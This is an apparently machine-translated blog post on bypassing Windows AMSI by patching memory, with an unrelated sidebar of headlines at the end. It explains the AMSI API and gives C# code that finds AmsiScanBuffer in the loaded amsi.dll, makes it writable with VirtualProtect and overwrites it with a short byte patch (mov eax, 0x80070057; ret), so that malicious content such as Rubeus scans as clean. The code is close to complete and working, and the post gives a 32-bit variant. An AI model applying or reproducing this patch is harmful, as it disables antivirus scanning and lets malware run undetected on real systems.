当前位置:网站首页>Memory patch amsi bypass
Memory patch amsi bypass
2022-06-23 20:43:00 【Khan security team】
What is? AMSI?
back Malware scanning interface It's a group. Windows API, Allow any application to integrate with anti-virus products ( Suppose the product acts as AMSI Provider ). With many third parties AV The solution is the same ,Windows Defender Act naturally as AMSI provider .
In short ,AMSI Act as an application and AV The bridge between engines . With PowerShell For example —— When the user tries to execute any code ,PowerShell It will be submitted to before execution AMSI. If AV The engine thinks its content is malicious ,AMSI This content will be reported and PowerShell The code will not run . For script based malware that runs in memory and never touches disk , This is a good solution .
Any application developer can use AMSI Scan user supplied input .
amsi.dll
To AMSI Applications that submit samples , It must amsi.dll Load into its address space and call from the DLL A series of exported AMSI API. We can use APIMonitor And so on To hook PowerShell And monitor what it calls API. According to the order , These are usually :
- AmsiInitialize – initialization AMSI API.
- AmsiOpenSession – Used to associate multiple scan requests .
- AmsiScanBuffer – Scan user input .
- AmsiCloseSession – Close session .
- AmsiUninitialize – Delete AMSI API example .
We can use some convenient P/Invoke stay C# Copy it in .
using System;
using System.Runtime.InteropServices;
namespace ConsoleApp
{
class Program
{
static void Main(string[] args)
{
}
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("amsi.dll")]
static extern IntPtr AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr session, out AMSI_RESULT result);
enum AMSI_RESULT
{
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
}
}
}All we have to do is initialize AMSI, Open a new session and send a sample to it .
// Initialise AMSI and open a session
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);
// Read Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
// Scan Rubeus
AmsiScanBuffer(amsiContext, rubeus, (uint)rubeus.Length, "Rubeus", amsiSession, out AMSI_RESULT amsiResult);
// Print result
Console.WriteLine(amsiResult);This gives us the result AMSI_RESULT_DETECTED.
Memory patching
Process Hacker And other tools will display amsi.dll It is AMSI Load into the process after initialization . To overwrite a function in memory , for example AmsiScanBuffer, We need to get its location in memory .
We can start by using .NET System.Diagnostics Class search amsi.dll The base address , And then call GetProcAddress API To achieve this .
var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;
foreach (ProcessModule module in modules)
{
if (module.ModuleName == "amsi.dll")
{
hAmsi = module.BaseAddress;
break;
}
}
var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");As far as I'm concerned , AmsiScanBuffer be located 0x00007ffe26aa35e0. By viewing and amsi.dll Associated memory address , You can confirm that it is located in the main... Of the module RX In the area .
To override instructions in this area , We need to use VirtualProtect Make it writable .
var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
// Set region to RWX
VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect);
// Copy garbage bytes
Marshal.Copy(garbage, 0, asb, garbage.Length);
// Retore region to RX
VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _);then , You will see a lot of... In this memory area A, And allow applications to call AmsiScanBuffer Will cause the process to crash ( Because obviously A Not a valid instruction ).
We can put countless instructions here . The general idea is to change behavior to prevent AmsiScanBuffer Returns a positive result .
Use IDA Wait for tool analysis DLL Can provide some ideas .
AmsiScanBuffer One thing to do is to check the parameters provided to it . If it finds an invalid parameter , It branches to loc_1800036B5. ad locum , It will 0x80070057 Move to eax in , Bypass the branch that is actually scanned and returned .
80070057 It's a HRESULT Return code by E_INVALIDARG.
We can cover AmsiScanBuffer To replicate this behavior :
mov eax, 0x80070057 ret
defuse.ca There is a useful tool for converting assemblies to hexadecimal and byte arrays .
instead of var The garbage :
var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };This will lead to AmsiScanBuffer The return code of is E_INVALIDARG, But the actual scanning result is 0 - Usually interpreted as AMSI_RESULT_CLEAN.
It seems that no application actually checks whether the return code is not S_OK, And as long as the scanning result itself is not equal to or greater than 32768 Will continue to load the content —— It must be PowerShell and .NET The case of .
The above applies to 64 position , but 32 The assembly required for the bit is slightly different due to the way data is returned on the stack .
mov eax, 0x80070057 ret 0x18
边栏推荐
- Process injection
- Interpreting the 2022 agile coaching industry status report
- The "open source star picking program" container pulls private images from harbor, which is a necessary skill for cloud native advanced technology
- [golang] quick review guide quickreview (VIII) -- goroutine
- What is the main content of short video audit? What is illegal?
- Excel text function
- Row height, (top line, middle line, baseline, bottom line), vertical align
- Application of MySQL time function, simple problem
- How to build a cloud game platform on the server? How to select a cloud game server?
- 5 月最大的 GameFi 崩溃受害者能否在熊市中生存?| May Monthly Report
猜你喜欢

LeetCode 260. Number III that appears only once

FPGA based electromagnetic ultrasonic pulse compression detection system paper + source file

vs2022scanf函数的使用,使用scanf的报错-返回值被忽略:解决·方法

Importance and purpose of test

Elastricearch's fragmentation principle of the second bullet

35 year old crisis? It has become a synonym for programmers

Open source SPL redefines OLAP server

GL Studio 5 安装与体验

Daily question brushing record (II)

Syntax of SQL union query (inline, left, right, and full)
随机推荐
【Golang】快速复习指南QuickReview(十)——goroutine池
Install bitgarden open source password manager
35歲危機?內卷成程序員代名詞了…
Digital procurement transformation solution: SaaS procurement management platform promotes enterprise sunshine procurement
What technology is used for video intelligent audit? Difficulties encountered in video audit?
Row height, (top line, middle line, baseline, bottom line), vertical align
How to make a commodity price tag
[golang] some questions to strengthen slice
Can Tencent cloud disk service share data? What are the advantages of cloud disk service?
Is it safe for Huatai Securities to open an account online for securities companies with low handling fees and commissions
ntpupdate. tencentyun. Com has been eliminated
【Golang】来几道题以加强Slice
@@脚本实现Ishell自动部署
国元期货交易软件正规吗?如何安全下载?
[golang] quick review guide quickreview (VII) -- Interface
35 year old crisis? It has become a synonym for programmers
How to separate image processing? What should I pay attention to when separating layers?
LeetCode 260. Number III that appears only once
What is the role of computer auto audit audio? What content failed to pass the audit?
Configure two databases in master-slave database mode (master and slave)